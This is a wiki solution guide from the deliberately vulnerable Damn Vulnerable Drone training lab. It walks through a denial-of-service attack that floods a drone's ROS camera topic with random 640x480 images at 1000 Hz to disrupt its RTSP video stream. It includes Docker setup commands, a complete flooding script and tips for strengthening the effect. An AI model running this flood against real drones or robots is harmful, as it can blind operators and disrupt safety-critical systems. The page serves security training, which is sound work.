Camera Feed ROS Topic Flooding - nicholasaleks/Damn-Vulnerable-Drone GitHub Wiki
Flooding the ROS topic to disrupt a the drone's RTSP stream.
Damn Vulnerable Drone > Attack Scenarios > Denial of Service > ROS Topic Flood Attack
This attack involves flooding a ROS topic with large amounts of data to overwhelm the system's resources, leading to disruption of services such as an RTSP stream. In this scenario, we target the /webcam/image_raw
topic to disrupt the video stream being handled over ROS.
⚠️ Solution Guide
sudo docker pull ros:noetic-ros-base
Then run the container and assign it to the simulator network:
docker run -it --network=simulator --ip=10.13.0.10 --name ros_noetic_container ros:noetic-ros-base bash
Inside the container, export the ROS environment variables:
export ROS_MASTER_URI=http://10.13.0.5:11311
export ROS_IP=10.13.0.10
source /opt/ros/noetic/setup.bash
apt-get update
apt-get install python3 python3-pip nano
Save the following Python3 script as ros-topic-flood.py
:
#!/usr/bin/env python3
import rospy
from sensor_msgs.msg import Image
import numpy as np
def flood_topic():
rospy.init_node('image_flooder', anonymous=True)
pub = rospy.Publisher('/webcam/image_raw', Image, queue_size=10)
rate = rospy.Rate(1000) # 1000 Hz flooding
while not rospy.is_shutdown():
img = Image()
img.height = 480
img.width = 640
img.encoding = "rgb8"
img.is_bigendian = 0
img.step = img.width * 3
img.data = np.random.bytes(img.step * img.height)
pub.publish(img)
rate.sleep()
if __name__ == '__main__':
try:
flood_topic()
except rospy.ROSInterruptException:
pass
python3 ros-topic-flood.py
This script floods /webcam/image_raw
at 1000 Hz, disrupting the RTSP stream and consuming system resources.
Check the ROS master logs and attempt to view the RTSP stream to verify disruption. You may adjust rate = rospy.Rate(x)
or payload size to increase effect.
To stop the flooding:
Ctrl+C
in the terminal running the flood script.